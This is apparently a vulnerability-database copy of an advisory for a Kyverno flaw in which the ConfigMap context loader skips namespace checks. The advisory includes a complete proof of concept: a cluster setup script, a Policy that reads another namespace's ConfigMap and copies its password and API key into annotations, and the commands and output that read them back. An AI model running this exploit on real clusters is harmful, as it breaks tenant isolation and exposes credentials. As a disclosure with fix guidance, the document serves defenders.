GHSA-cvq5-hhx3-f99p BIT-kyverno-2026-41068 CVE-2026-41068 GO-2026-5337
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 18.84% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
- None yet
- No fixed version published
Description
Summary
CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.
Details
Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.
Code path comparison:
| CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |
|---|---|---|
| Location | apiCall.URLPath field |
configMap.namespace field |
| Code path | apicall.Fetch() → namespace regex validation |
configmap.NewConfigMapLoader() → no validation |
| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |
Exploit mechanism:
- Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
- Policy uses
context.configMap.namespace: "victim-ns"to reference another namespace - Kyverno's admission controller service account (has cluster-wide
viewrole) fetches the ConfigMap - Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations
Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.
PoC
Full reproduction (5 minutes on kind):
#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait
# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns
# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
--from-literal=db-password="s3cr3t-p4ssw0rd" \
--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"
# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
--resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
--as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)
Exploit policy:
# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: configmap-crossns-read
namespace: attacker-ns
spec:
rules:
- name: steal-configmap
match:
any:
- resources:
kinds: [ConfigMap]
names: ["trigger-cm"]
context:
- name: stolendata
configMap:
name: "sensitive-config"
namespace: "victim-ns" # <-- NO VALIDATION
mutate:
patchStrategicMerge:
metadata:
annotations:
exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Trigger and exfiltrate:
# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cm
namespace: attacker-ns
data:
innocent: "data"
EOF
# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
# "exfil-db-password": "s3cr3t-p4ssw0rd"
# }
Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.
Impact
Severity: HIGH (CVSS 7.7)
Who is affected:
- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
- Multi-tenant clusters where ConfigMaps contain sensitive data
- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno
Attack prerequisites:
- Namespace admin privileges (standard RBAC in multi-tenant clusters)
- Ability to create Kyverno Policy resources (default for namespace admins)
- No cluster-admin required
What can be exfiltrated:
- Any ConfigMap from any namespace
- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps
Why this matters:
- Namespace isolation is a fundamental Kubernetes security boundary
- Namespace admin is an expected, common RBAC level in production multi-tenant clusters
- Violates the principle of least privilege and breaks multi-tenancy guarantees
Suggested fix:
Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():
- Pass
policyNamespacetoNewConfigMapLoader() - After variable substitution on
namespace, validate resolved namespace ==policyNamespace - Return error if validation fails
Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.
Tested versions:
- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)
- Helm chart: 3.7.0
- Kubernetes: v1.35.0 (kind)
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/kyverno/kyverno | <= 1.17.1 |
No fix yet |
| github.com/kyverno/kyverno | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-79gf-7frw-68m9 Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system | Critical | Also affects github.com/kyverno/kyverno |
| GHSA-fpjq-c37h-cqcv Kyverno Controller Denial of Service via forEach Mutation Panic | High | Also affects github.com/kyverno/kyverno |
| GHSA-8wfp-579w-6r25 Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) | High | Also affects github.com/kyverno/kyverno |
| GHSA-f9g8-6ppc-pqq4 Kyverno: ServiceAccount token leaked to external servers via apiCall service URL | Critical | Also affects github.com/kyverno/kyverno |
| GHSA-q93q-v844-jrqp kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token | High | Also affects github.com/kyverno/kyverno |
| GHSA-fmqp-4wfc-w3v7 Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach | Medium | Also affects github.com/kyverno/kyverno |
| GHSA-qr4g-8hrp-c4rw Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF | High | Also affects github.com/kyverno/kyverno |
| GHSA-rggm-jjmc-3394 Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access | Critical | Also affects github.com/kyverno/kyverno |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor